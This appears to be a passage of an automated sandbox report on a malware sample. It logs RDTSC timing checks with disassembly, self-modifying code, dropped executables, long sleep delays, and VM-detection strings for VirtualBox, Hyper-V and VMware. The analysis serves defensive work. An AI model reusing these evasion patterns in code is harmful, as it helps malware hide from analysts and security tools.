Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B47 second address: 53B0BA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F3DB4EC7BAEh 0x00000011 push eax 0x00000012 jmp 00007F3DB4EC7BABh 0x00000017 xchg eax, ebx 0x00000018 jmp 00007F3DB4EC7BB6h 0x0000001d xchg eax, ebx 0x0000001e pushad 0x0000001f jmp 00007F3DB4EC7BAEh 0x00000024 mov ax, 7DF1h 0x00000028 popad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0BA8 second address: 53B0BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0BAC second address: 53B0BC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0BC4 second address: 53B0BFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B2772Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3DB4B2772Bh 0x00000013 jmp 00007F3DB4B27733h 0x00000018 popfd 0x00000019 mov ch, 6Fh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0BFA second address: 53B0C35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 3107h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+14h] 0x0000000d pushad 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 push esi 0x00000013 call 00007F3DB4EC7BADh 0x00000018 pop eax 0x00000019 pop ebx 0x0000001a popad 0x0000001b push dword ptr [ebp+10h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F3DB4EC7BB3h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0C58 second address: 53B0C5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0C5E second address: 53B0C7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 mov si, 0AFDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3DB4EC7BAFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0BB6 second address: 53C0BBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0BBA second address: 53C0BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0BC0 second address: 53C0BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 mov esi, 037F17F3h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0BD5 second address: 53C0BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0BD9 second address: 53C0BDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0BDF second address: 53C0BFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4EC7BB8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0BFB second address: 53C0C10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3DB4B2772Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0C10 second address: 53C0C4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c call 00007F3DB4EC7BB4h 0x00000011 call 00007F3DB4EC7BB2h 0x00000016 pop eax 0x00000017 pop ebx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0C4D second address: 53C0C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0956 second address: 53C095A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C095A second address: 53C095E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C095E second address: 53C0964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0964 second address: 53C09B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 2968h 0x00000007 pushfd 0x00000008 jmp 00007F3DB4B27731h 0x0000000d and esi, 22ADE0D6h 0x00000013 jmp 00007F3DB4B27731h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F3DB4B27738h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C09B5 second address: 53C09C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440667 second address: 544066D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430959 second address: 5430982 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3DB4EC7BB2h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3DB4EC7BAEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54307DC second address: 54307E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54307E0 second address: 54307E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54307E6 second address: 5430819 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3DB4B2772Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430819 second address: 5430835 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430835 second address: 543083B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430B9B second address: 5430BF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F3DB4EC7BB0h 0x0000000e jmp 00007F3DB4EC7BB2h 0x00000013 pop eax 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3DB4EC7BB7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430BF6 second address: 5430C53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c call 00007F3DB4B27733h 0x00000011 pop esi 0x00000012 pop edx 0x00000013 mov cx, E1D5h 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a jmp 00007F3DB4B27730h 0x0000001f push dword ptr [ebp+0Ch] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F3DB4B2772Ah 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430C53 second address: 5430C59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430CE0 second address: 5430CFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430CFD second address: 5430D75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 pushfd 0x00000007 jmp 00007F3DB4EC7BB3h 0x0000000c and eax, 57C2521Eh 0x00000012 jmp 00007F3DB4EC7BB9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F3DB4EC7BB3h 0x00000025 adc cx, 7C2Eh 0x0000002a jmp 00007F3DB4EC7BB9h 0x0000002f popfd 0x00000030 movzx esi, bx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B0A50 second address: 5B0A6A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jns 00007F3DB4B27726h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f jc 00007F3DB4B27726h 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0588 second address: 53E059A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4EC7BAEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E059A second address: 53E059E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E059E second address: 53E05B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3DB4EC7BAAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05B4 second address: 53E05CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B2772Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05CB second address: 53E05D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05D1 second address: 53E05EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4B27739h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E05EE second address: 53E0601 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 1F367E9Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3FEC57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5A5A3C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 62D949 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 65EC57 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 805A3C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 88D949 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Special instruction interceptor: First address: 825D01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Special instruction interceptor: First address: 9F2616 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Special instruction interceptor: First address: A5261B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Special instruction interceptor: First address: DDF9D2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Special instruction interceptor: First address: DDD0CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Special instruction interceptor: First address: F987C0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Special instruction interceptor: First address: 1013977 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Special instruction interceptor: First address: ABDDF3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Special instruction interceptor: First address: ABDD63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Special instruction interceptor: First address: C56D0B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Special instruction interceptor: First address: C5692E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Special instruction interceptor: First address: CEF4F1 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Memory allocated: 5590000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Memory allocated: 57A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Memory allocated: 55D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Memory allocated: 55F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Memory allocated: 5650000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Memory allocated: 7650000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05430C29 rdtsc

0_2_05430C29

Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1014524001\4d8dafb522.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

API coverage: 3.8 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7904	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7904	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7880	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7880	Thread sleep time: -106053s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7864	Thread sleep count: 210 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7864	Thread sleep time: -6300000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7876	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7900	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7900	Thread sleep time: -126063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7864	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe TID: 7684	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe TID: 7680	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe TID: 7680	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe TID: 8056	Thread sleep count: 89 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe TID: 8056	Thread sleep count: 82 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe TID: 8056	Thread sleep count: 186 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe TID: 7700	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe TID: 7696	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe TID: 7696	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe TID: 7856	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe TID: 5976	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe TID: 6504	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe TID: 936	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005EDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	15_2_005EDBBE
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005BC2A2 FindFirstFileExW,	15_2_005BC2A2
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F68EE FindFirstFileW,FindClose,	15_2_005F68EE
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	15_2_005F698F
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005ED076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_005ED076
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005ED3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_005ED3A9
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_005F9642
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_005F979D
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	15_2_005F9B2B
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F5C97 FindFirstFileW,FindNextFileW,FindClose,	15_2_005F5C97

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

15_2_005842DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmp, 1c49dbdc29.exe, 0000001E.00000002.3114092600.0000000000F6A000.00000040.00000001.01000000.00000011.sdmp, 93ee6c8e33.exe, 00000021.00000002.3325997079.0000000000C37000.00000040.00000001.01000000.00000015.sdmp, 1c49dbdc29.exe, 00000022.00000002.3318475470.0000000000F6A000.00000040.00000001.01000000.00000011.sdmp, 93ee6c8e33.exe, 00000026.00000002.3362358125.0000000000C37000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 0000000D.00000002.3461057569.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhrc
Source: firefox.exe, 0000001F.00000002.3251774384.0000011C773D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW4l
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001633000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 0000000F.00000003.3128863774.00000000017A4000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 0000000F.00000003.3124193874.0000000001781000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 0000000F.00000003.3134642075.00000000017B8000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 0000000F.00000003.3122600596.000000000177C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3248313597.0000021EDA03A000.00000004.00000020.00020000.00000000.sdmp, 1c49dbdc29.exe, 0000001E.00000002.3141461580.0000000001973000.00000004.00000020.00020000.00000000.sdmp, 1c49dbdc29.exe, 0000001E.00000002.3141461580.00000000019A0000.00000004.00000020.00020000.00000000.sdmp, 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: d71513cd6d.exe, 0000000F.00000003.3124193874.0000000001781000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 0000000F.00000002.3176810575.0000000001798000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 0000000F.00000003.3122600596.000000000177C000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 0000000F.00000003.3132695469.0000000001791000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWJ^V
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
